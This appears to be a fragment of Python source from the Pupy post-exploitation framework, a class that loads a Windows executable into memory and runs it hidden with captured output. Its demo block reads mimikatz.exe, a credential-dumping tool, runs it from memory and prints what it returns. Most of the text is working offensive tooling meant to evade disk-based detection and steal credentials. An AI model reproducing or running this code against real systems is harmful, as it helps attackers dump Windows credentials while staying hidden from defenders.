self.raw_pe=raw_pe
self.suspended_process=suspended_process
self.redirect_stdio=redirect_stdio
self.hidden=hidden
self.hProcess=None
self.rpStdout=None
def close(self):
#Killing the program if he is still alive
ctypes.windll.kernel32.TerminateProcess(self.hProcess, 1);
ctypes.windll.kernel32.CloseHandle(self.hProcess)
def wait(self, timeout=None):
""" return False if the timeout occured"""
if self.hProcess is None:
return True
starttime=time.time()
while True:
try:
res=ctypes.windll.kernel32.WaitForSingleObject(self.hProcess, DWORD(1))# not INFINITE to be able to interrupt it !
if res!=WAIT_TIMEOUT:
break
if timeout is not None and time.time()-starttime>timeout:
return False
except KeyboardInterrupt:
break
return True
def get_stdout(self):
if not self.hProcess:
return ""
#Closing the write handle to avoid lock:
ctypes.windll.kernel32.CloseHandle(self.rpStdout)
fulldata=b""
while True:
data=ReadFile(self.pStdout, 2048)
if not data:
break
fulldata+=data
return fulldata
def run(self):
hProcess, pStdin, pStdout, rpStdin, rpStdout = pupymemexec.run_pe_from_memory(self.cmdline, self.raw_pe, self.redirect_stdio, self.hidden)
self.pStdout=pStdout
self.pStdin=pStdin
self.rpStdout=rpStdout
self.rpStdin=rpStdin
self.hProcess=hProcess
if __name__=="__main__":
with open("mimikatz.exe",'rb') as f:
mpe=MemoryPE(f.read())
mpe.run()
mpe.wait(5)
mpe.close()
print mpe.get_stdout()
raw_input()

Binary file not shown.

Binary file not shown.